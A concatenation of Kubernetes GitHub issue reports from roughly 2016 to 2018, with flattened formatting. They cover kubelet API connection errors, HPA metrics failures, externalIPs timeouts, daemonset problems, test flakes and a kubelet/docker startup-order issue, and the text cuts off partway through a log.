reflector.go:183  watch of  api.pod ended with: very short watch  kubelet  e1020 19:50:11.144252    4936 reflector.go:165  failed to watch  api.node: get https://10.0.0.2:6443/api/v1/watch/nodes?fieldselector=metadata.name%3d10.0.0.7&resourceversion=2932162: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:11.144334    4936 reflector.go:136  failed to list  api.service: get https://10.0.0.2:6443/api/v1/services: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:11.144396    4936 reflector.go:136  failed to list  api.pod: get https://10.0.0.2:6443/api/v1/pods?fieldselector=spec.nodename%3d10.0.0.7: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:12.145448    4936 reflector.go:136  failed to list  api.pod: get https://10.0.0.2:6443/api/v1/pods?fieldselector=spec.nodename%3d10.0.0.7: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:12.145518    4936 reflector.go:165  failed to watch  api.node: get https://10.0.0.2:6443/api/v1/watch/nodes?fieldselector=metadata.name%3d10.0.0.7&resourceversion=2932162: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:12.145549    4936 reflector.go:136  failed to list  api.service: get https://10.0.0.2:6443/api/v1/services: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:13.146826    4936 reflector.go:136  failed to list  api.pod: get https://10.0.0.2:6443/api/v1/pods?fieldselector=spec.nodename%3d10.0.0.7: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:13.146902    4936 reflector.go:165  failed to watch  api.node: get https://10.0.0.2:6443/api/v1/watch/nodes?fieldselector=metadata.name%3d10.0.0.7&resourceversion=2932162: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:13.146931    4936 reflector.go:136  failed to list  api.service: get https://10.0.0.2:6443/api/v1/services: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:13.347216    4936 kubelet.go:1933  error updating node status, will retry: error getting node \ 10.0.0.7\ : get https://10.0.0.2:6443/api/v1/nodes/10.0.0.7: dial tcp 10.0.0.2:6443: connection refused ...  kubelet  e1020 19:49:53.478463   22284 kubelet.go:839  unable to update node status: update node status exceeds retry count      what's the recommended approach / sequence / etc to upgrade each host in the system without downtime  and with minimal error spew ?

~/kubectl get pods --all-namespaces -o wide  namespace     name                                ready     status              restarts   age       node default       collectd-5zzo5                      0/1       containercreating   0          5m        192.168.78.14 default       collectd-bn3z4                      0/1       containercreating   0          5m        192.168.78.13          ~/kubectl --server=192.168.78.13:8080 delete ds collectd error: timed out waiting for the condition          ~/kubectl get svc,ds -o wide --all-namespaces | cut -c1-175 namespace     name                   desired         current       node-selector                                                               age       container s            default       collectd               0               0             12e5f3d1-3421-11e6-9767-90e2ba1106c4=12e60586-3421-11e6-9767-90e2ba1106c4   10m       collectd                        ~/kubectl get pods name                            ready     status        restarts   age collectd-5zzo5                  0/1       terminating   0          15m collectd-bn3z4                  0/1       terminating   0          15m      kubernetes version ~1.3

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/12280/  failed:  k8s.io  services should serve multiport endpoints from pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:226 jul 31 00:29:46.243: timed out waiting for service multi-endpoint-test in namespace e2e-tests-services-ffqe0 to expose endpoints map pod1: 100  pod2: 101    1m0s elapsed  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1094

working environment  : 2 coreos instances  master+worker \r \r   problem  : current-context set to \ \ \r \r   steps to reproduce:  \r  basically, use this command:\r \r  $ kubectl config set-context $context --namespace=<insert-namespace-name-here> \r \r without any value in the $context environment.\r \r now i can't switch back to any namespaces.\r \r    \r $ kubectl config view \r apiversion: v1\r clusters:   \r contexts:   \r current-context: \ \ \r kind: config\r preferences: {}\r users:   \r    \r \r \r \r

hpa should be working against the polymorphic endpoint in the legacy api group  replicationcontrollers/scale , not the copy in extensions, since no other resource will ever be able to inject itself into extensions.\r \r @directxman12 @soltysh @kubernetes/rh-cluster-infra

kubernetes version    use  kubectl version  : \r - client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : linux host_redacted 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  : \r   docker version  : 1.13.0\r   kubeadm version  : version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   what happened  :\r timeout while trying to access a service exposed using externalips via internet.\r \r   what you expected to happen  :\r should be able to access it.\r \r   how to reproduce it    as minimally and precisely as possible :\r - install kubernetes via kubeadm as described in the  docs  kubernetes.io/docs/getting-started-guides/kubeadm/ . current versions can be found above.\r - doesn't really matter if you chose flannel or weave.\r - create any service and try to expose it via externalips.\r - access it. you should see a timeout.\r \r   anything else do we need to know  :\r - it succeeds when i try to access from within the server using the service ip, the endpoint  pod  ip and the exposedips  server  ip.\r - it fails when i try to access the service through the internet.  curl redacted_external_ip:8080 .\r - checked if it was a network issue unrelated with kubernetes using  python -m simplehttpserver 8080 .  curl redacted_external_ip:8080  worked as expected.\r -   iptables-save  output  https://gist.github.com/brunomvsouza/1a1edcd5356401b7633e64d0dfb416a6 .\r - service and deployment schemas used:\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: phpmyadmin-svc\r spec:\r   ports:\r   - port: 8080\r     targetport: 80\r   externalips:\r   - redacted_external_ip\r   selector:\r     app: phpmyadmin\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: phpmyadmin-deploy\r   labels:\r     app: phpmyadmin\r spec:\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: phpmyadmin\r     spec:\r       restartpolicy:  always\r       containers:\r       - image: phpmyadmin/phpmyadmin:4.6.4-1\r         imagepullpolicy: always\r         name: phpmyadmin\r         env:\r         - name: pma_host\r           value: percona-svc\r         ports:\r         - containerport: 80\r         volumemounts:\r         - name: tz\r           mountpath: /etc/localtime\r           readonly: true\r       volumes:\r       - name: tz\r         hostpath:\r            path: /etc/localtime\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r    \r   what happened  :\r after restart kubelet, kubelet receives infomation about pods and the node from etcd, in the situation that first receives pods infomaion and start admit pods and then receives node infomation, then in the process of admit pods some will use the initial node info, and if the labels in initial node info different from the node info in etcd, then the admit for the pod will fail and kubelet will set the pod status to matchnodeselector.\r the frequency of this situation is very low.\r \r   what you expected to happen  :\r should we wait until we get the node infomation from etcd and then start to admit pods?\r \r   how to reproduce it  as minimally and precisely as possible   :\r any suggestions?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

flaky job: pr:pull-kubernetes-kubemark-e2e-gce  flakes in the past week:   28    consistency:   97.20%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 22 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

   what happened  :\r hpa fails to launch additional pods due to pods in evicted state, even with utilization significantly over target.\r \r   what you expected to happen  :\r when hpa pods reach the target utilization, new pods should be allocated and provisioned.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r launch a hpa, let the pods fill the disk on the host which will trigger evictions due to \ pod the node was low on resource:  diskpressure \ , hpa will exceed target and not allocate additional pods.\r \r   anything else we need to know?  :\r seems related to  55051 and  54525 though those are not specific to hpa.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.8-gke.0\ , gitcommit:\ a7061d4b09b53ab4099e3b5ca3e80fb172e1b018\ , gittreestate:\ clean\ , builddate:\ 2017-10-10t18:48:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : cos-stable-57-9202-64-0 kernel commit id 01693b885a081b92a166f9492e4ae712f08ac1a9\r - kernel  e.g.  uname -a  :linux gke-prod1-use1b-v2-64850c24-35s4 4.4.70+  1 smp mon sep 18 12:43:08 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux

 \r   what happened  :\r 1.  first i set up k8s-app like this:\r     bash\r kubectl run php-apache --image=gcr.io/google_containers/hpa-example --requests=cpu=200m --expose --port=80\r    \r 2. then i created the hpa which didn't work:\r     bash\r kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10\r    \r error infos:\r     bash\r   kubectl describe hpa php-apache\r name:                                                  php-apache\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           <none>\r creationtimestamp:                                     wed, 27 dec 2017 14:36:38 +0800\r reference:                                             deployment/php-apache\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  <unknown> / 50%\r min replicas:                                          1\r max replicas:                                          10\r conditions:\r   type           status  reason                   message\r   ----           ------  ------                   -------\r   abletoscale    true    succeededgetscale        the hpa controller was able to get the target's current scale\r   scalingactive  false   failedgetresourcemetric  the hpa was unable to compute the replica count: unable to get metrics for resource cpu: unable to fetch metrics from api: the server could not find the requested resource  get pods.metrics.k8s.io \r events:\r   type     reason                   age                  from                       message\r   ----     ------                   ----                 ----                       -------\r   warning  failedgetresourcemetric  3m  x2231 over 18h   horizontal-pod-autoscaler  unable to get metrics for resource cpu: unable to fetch metrics from api: the server could not find the requested resource  get pods.metrics.k8s.io \r    \r     bash\r   kubectl get hpa php-apache -o yaml\r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     autoscaling.alpha.kubernetes.io/conditions: ' {\ type\ :\ abletoscale\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2017-12-27t06:37:08z\ ,\ reason\ :\ succeededgetscale\ ,\ message\ :\ the\r       hpa controller was able to get the target''s current scale\ },{\ type\ :\ scalingactive\ ,\ status\ :\ false\ ,\ lasttransitiontime\ :\ 2017-12-27t06:37:08z\ ,\ reason\ :\ failedgetresourcemetric\ ,\ message\ :\ the\r       hpa was unable to compute the replica count: unable to get metrics for resource\r       cpu: unable to fetch metrics from api: the server could not find the requested\r       resource  get pods.metrics.k8s.io \ } '\r   creationtimestamp: 2017-12-27t06:36:38z\r   name: php-apache\r   namespace: default\r   resourceversion: \ 20568\ \r   selflink: /apis/autoscaling/v1/namespaces/default/horizontalpodautoscalers/php-apache\r   uid: 4ad25969-ead0-11e7-8a38-525400cecc16\r spec:\r   maxreplicas: 10\r   minreplicas: 1\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: php-apache\r   targetcpuutilizationpercentage: 50\r status:\r   currentreplicas: 1\r   desiredreplicas: 0\r    \r     bash\r   journalctl -u kube-controller-manager.service -f\r dec 28 09:17:19 k8s401 kube-controller-manager 32278 : e1228 09:17:19.914013   32278 horizontal.go:189  failed to compute desired number of replicas based on listed metrics for deployment/default/php-apache: failed to get cpu utilization: unable to get metrics for resource cpu: unable to fetch metrics from api: the server could not find the requested resource  get pods.metrics.k8s.io \r dec 28 09:17:19 k8s401 kube-controller-manager 32278 : i1228 09:17:19.914015   32278 event.go:218  event v1.objectreference{kind:\ horizontalpodautoscaler\ , namespace:\ default\ , name:\ php-apache\ , uid:\ 4ad25969-ead0-11e7-8a38-525400cecc16\ , apiversion:\ autoscaling/v2beta1\ , resourceversion:\ 20568\ , fieldpath:\ \ } : type: 'warning' reason: 'failedgetresourcemetric' unable to get metrics for resource cpu: unable to fetch metrics from api: the server could not find the requested resource  get pods.metrics.k8s.io \r dec 28 09:17:19 k8s401 kube-controller-manager 32278 : i1228 09:17:19.914094   32278 event.go:218  event v1.objectreference{kind:\ horizontalpodautoscaler\ , namespace:\ default\ , name:\ php-apache\ , uid:\ 4ad25969-ead0-11e7-8a38-525400cecc16\ , apiversion:\ autoscaling/v2beta1\ , resourceversion:\ 20568\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcomputemetricsreplicas' failed to get cpu utilization: unable to get metrics for resource cpu: unable to fetch metrics from api: the server could not find the requested resource  get pods.metrics.k8s.io \r    \r the strange thing was: when i created the hpa, it used the  apiversion: autoscaling/v1 , and in the  kube-controller-manager's  error log, it used the  autoscaling/v2beta1 \r \r is this the default behavior or a misconfigured cluster ?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r heapster was running normal.\r     bash\r   kubectl logs -n kube-system heapster-7b76dbf757-xzxhc\r i1227 01:38:17.584695       1 heapster.go:72  /heapster --source=kubernetes:https://kubernetes.default --sink=influxdb:http://monitoring-influxdb.kube-system.svc:8086\r i1227 01:38:17.584756       1 heapster.go:73  heapster version v1.3.0\r i1227 01:38:17.585111       1 configs.go:61  using kubernetes client with master \ https://kubernetes.default\  and version v1\r i1227 01:38:17.585169       1 configs.go:62  using kubelet port 10255\r i1227 01:38:17.625239       1 influxdb.go:252  created influxdb sink with options: host:monitoring-influxdb.kube-system.svc:8086 user:root db:k8s\r i1227 01:38:17.625261       1 heapster.go:196  starting with influxdb sink\r i1227 01:38:17.625265       1 heapster.go:196  starting with metric sink\r i1227 01:38:17.637983       1 heapster.go:106  starting heapster on port 8082\r i1227 01:39:05.104481       1 influxdb.go:215  created database \ k8s\  on influxdb server at \ monitoring-influxdb.kube-system.svc:8086\ \r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r     bash\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  baremetal \r - os  e.g. from /etc/os-release :\r     bash\r   cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r     bash\r linux k8s401 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:  https://github.com/gjmzj/kubeasz \r - others:\r

failing jobs\r \r  sig-release-master-blocking gci-gce  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce \r \r   failing tests\r \r   sig-scheduling  limitrange should create a limitrange with defaults and ensure pod has those defaults applied.  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/150 \r \r   triage results\r \r   sig-scheduling  limitrange should create a limitrange with defaults and ensure pod has those defaults applied.  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce&test=limitrange%20should%20create%20a%20limitrange%20with%20defaults%20and%20ensure%20pod%20has%20those%20defaults%20applied \r \r \r these tests are failing on master blocking.\r   / /milestone v1.12\r /cc @tpepper @aishsundar

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r  usually , the cluster-signing ca certificate bundle that is used for signing csrs  see  manage tls certificates in a cluster  https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/   is the same as the cluster's root ca. this root ca is readily available by someone who needs to import the ca into their clients' trust chain, since it is included as data  in the \ ca.crt\  field  in the default service account's token secret  see  trusting tls in a cluster  https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/ trusting-tls-in-a-cluster  .\r \r however, in some platforms  e.g. pks , the cluster-signing ca cert bundle is configured to be a different than the root ca cert bundle. these ca cert bundles are configured on the kubernetes controller manager with these startup configs  for cluster-signing and root ca respectively :\r    \r     --cluster-signing-cert-file\r     --root-ca-file\r    \r so when  --cluster-signing-cert-file  is configured, there's no way to retrieve that ca bundle other than sshing onto a master node and looking at that configuration. and cluster admins aren't going to want non-admin users poking around where the ca private key is stored.\r \r i would like to see the cluster-signing  or \ csr-signing\   ca bundle included in the default service-account token secret, along with the root ca  i.e. the \ ca.crt\  data field . \r \r \r   why is this needed  :\r some platforms configure a  different  csr-signing ca than the cluster's root ca. when configured this way, there's no way to retrieve the csr-signing ca bundle other than sshing onto a kubernetes master node and looking where the  --cluster-signing-cert-file  is pointing... and typically this is going to be the same directory as where the ca private key is.\r \r one workaround would be to have the cluster admin create a separate kubernetes secret for the csr-signing ca bundle, but there would have to be a well-documented name for this new kubernetes secret.

we currently rely on a cluster tag called \ kubernetescluster\ .  this has two problems: 1. it doesn't follow the kubernetes.io namespacing pattern 2. it doesn't allow for something to be tagged with two clusters  while in general we have to be careful with something being owned/managed by two clusters  which is what the cluster tag implies , there are cases where it might be ok.  for example with a public subnet for your elbs, when running k8s in private subnets.  that public subnet can be shared between clusters.  instead of  kuberentescluster=mycluster , it could be  kubernetes.io/cluster:mycluster=1  or something like that.  another alternative is to allow a comma-separated list of values.  we can't query this as efficiently though.   tag keys must be unique per resource

as per title, init containers do not work with rkt as the container runtime and i didn't see an existing issue to track this.  ref https://github.com/coreos/rkt/issues/2375 and  23666

greetings,  first time to use daemonset, but i am having an unexpected behaviour. this is from a tests gke environments  environment1      ➜  trident kubectl get ds name       desired   current   node-selector   age dd-agent   3         3         <none>          1h  ➜  trident kubectl describe ds dd-agent name:       dd-agent image s :   datadog/docker-dd-agent:kubernetes selector:   app=dd-agent node-selector:  <none> labels:     app=dd-agent desired number of nodes scheduled: 3 current number of nodes scheduled: 3 number of nodes misscheduled: 0 pods status:    2 running / 0 waiting / 0 succeeded / 1 failed no events.  ➜  trident kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.5\ , gitcommit:\ 25eb53b54e08877d3789455964b3e97bdd3f3bce\ , gittreestate:\ clean\ }      i am expecting 3 pods, but it seems to be 1 is failing.. how do i fix this?  and from environment2      ➜  trident kubectl get ds name       desired   current   node-selector   age dd-agent   4         4         <none>          26m  ➜  trident kubectl describe ds dd-agent name:       dd-agent image s :   datadog/docker-dd-agent:kubernetes selector:   app=dd-agent node-selector:  <none> labels:     app=dd-agent desired number of nodes scheduled: 4 current number of nodes scheduled: 4 number of nodes misscheduled: 0 pods status:    3 running / 1 waiting / 0 succeeded / 0 failed events:   firstseen lastseen    count   from        subobjectpath   type        reason          message   --------- --------    -----   ----        -------------   --------    ------          -------   23m       23m     1   {daemon-set }           normal      successfulcreate    created pod: dd-agent-17f0i   23m       23m     1   {daemon-set }           normal      successfulcreate    created pod: dd-agent-t7abq   23m       23m     1   {daemon-set }           normal      successfulcreate    created pod: dd-agent-rmanf   38s       38s     1   {daemon-set }           normal      successfulcreate    created pod: dd-agent-8f7m0  ➜  trident kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.5\ , gitcommit:\ 25eb53b54e08877d3789455964b3e97bdd3f3bce\ , gittreestate:\ clean\ }

we have a manually built kubernetes environment  not via kube-up . we're investigating upgrading from 1.3.7 to 1.4. we've stumbled upon a chicken and egg situation with kubelet and docker on the minions.  essentially, on 1.3 we were starting kubelet before docker as to make docker create the  cbr0  network device. this was necessary as the docker daemon was configured to use this bridge, and docker daemon would refuse to come online unless the bridge already existed. kubelet would eventually pick up docker and we'd have happy days.  on 1.4, however, kubelet is refusing to remain online unless docker has started first, as it seems to be trying to work out what docker version we have installed on the minion by trying to talk to the docker daemon:      sep 27 16:54:19 ip-10-1-0-28 systemd 1 : started kubernetes kubelet server. sep 27 16:54:19 ip-10-1-0-28 systemd 1 : starting kubernetes kubelet server... sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : flag --api-servers has been deprecated, use --kubeconfig instead. will be removed in a future version. sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.690813   13021 aws.go:745  building aws cloudprovider sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.690869   13021 aws.go:699  zone not specified in configuration file; querying aws metadata service sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.834732   13021 aws.go:831  aws cloud filtering on tags: map kubernetescluster:dev-cluster  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.834807   13021 server.go:355  successfully initialized cloud provider: \ aws\  from the config file: \ \  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.838512   13021 docker.go:375  connecting to docker on unix:///var/run/docker.sock sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.838534   13021 docker.go:395  start docker client with request timeout=2m0s sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : e0927 16:54:19.838588   13021 cni.go:163  error updating cni config: no networks found in /etc/cni/net.d sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.844051   13021 manager.go:140  cadvisor running in container: \ /system.slice/kubelet.service\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : w0927 16:54:19.844291   13021 manager.go:144  unable to connect to docker: cannot connect to the docker daemon. is the docker daemon running on this host? sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : w0927 16:54:19.844861   13021 manager.go:148  unable to connect to rkt api service: rkt: cannot tcp dial rkt api service: dial tcp  ::1 :15441: getsockopt: connection refused sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.845843   13021 fs.go:116  filesystem partitions: map /dev/xvda2:{mountpoint:/ major:202 minor:2 fstype:xfs blocksize:0} /dev/xvdd:{mountpoint:/var/lib/docker major:0 minor:39 fstype:btrfs blocksize:0} /dev/xvdc:{mountpoint:/var/log major:202 minor:32 fstype:xfs blocksize:0}  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.849256   13021 manager.go:195  machine: {numcores:2 cpufrequency:2394524 memorycapacity:4142096384 machineid:9a1e440d76f849df9d7cf2645c96fc7e systemuuid:ec2138a8-b7c3-29fb-783d-4d6360bc543f bootid:ebe7ba85-f33e-4aac-b183-f5eab67759f6 filesystems: {device:/dev/xvda2 capacity:5355077632 type:vfs inodes:5239808 hasinodes:true} {device:/dev/xvdd capacity:10737418240 type:vfs inodes:0 hasinodes:true} {device:/dev/xvdc capacity:10726932480 type:vfs inodes:10485760 hasinodes:true}  diskmap:map 253:0:{name:dm-0 major:253 minor:0 size:107374182400 scheduler:none} 202:0:{name:xvda major:202 minor:0 size:5368709120 scheduler:none} 202:32:{name:xvdc major:202 minor:32 size:10737418240 scheduler:none} 202:48:{name:xvdd major:202 minor:48 size:10737418240 scheduler:none}  networkdevices: {name:cbr0 macaddress:4e:16:49:6d:93:6e speed:0 mtu:1460} {name:eth0 macaddress:02:ee:d7:ae:a3:0f speed:0 mtu:9001}  topology: {id:0 memory:4142096384 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} } {id:1 threads: 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:262144 type:unified level:2} }  caches: {size:31457280 type:unified level:3} }  cloudprovider:aws instancetype:t2.medium instanceid:i-07bf5b59e93910de5} sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.849483   13021 manager.go:201  version: {kernelversion:4.7.5-1.el7.elrepo.x86_64 containerosversion:centos linux 7  core  dockerversion:unknown cadvisorversion: cadvisorrevision:} sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850119   13021 server.go:475  cloud provider determined current node name to be ip-10-1-0-28.eu-west-1.compute.internal sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850201   13021 server.go:644  using root directory: /var/lib/kubelet sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850267   13021 kubelet.go:308  cloud provider determined current node name to be ip-10-1-0-28.eu-west-1.compute.internal sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850302   13021 kubelet.go:255  adding manifest file: /etc/kubernetes/manifests sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850316   13021 file.go:47  watching path \ /etc/kubernetes/manifests\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.850328   13021 kubelet.go:265  watching apiserver sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.858702   13021 kubelet.go:516  hairpin mode set to \ none\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.864522   13021 plugins.go:141  loaded network plugin \ kubenet\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : e0927 16:54:19.864844   13021 docker_manager.go:238  failed to execute info   call to the docker client: cannot connect to the docker daemon. is the docker daemon running on this host? sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : w0927 16:54:19.864861   13021 docker_manager.go:239  using fallback default of /var/lib/docker for location of docker runtime sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865094   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/aws-ebs\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865107   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/empty-dir\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865114   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/gce-pd\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865122   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/git-repo\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865130   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/host-path\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865137   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/nfs\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865145   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/secret\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865152   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/iscsi\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865163   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/glusterfs\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865170   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/rbd\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865179   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/cinder\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865186   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/quobyte\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865193   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/cephfs\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865203   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/downward-api\  sep 27 16:54:19 ip-10-1-0-28 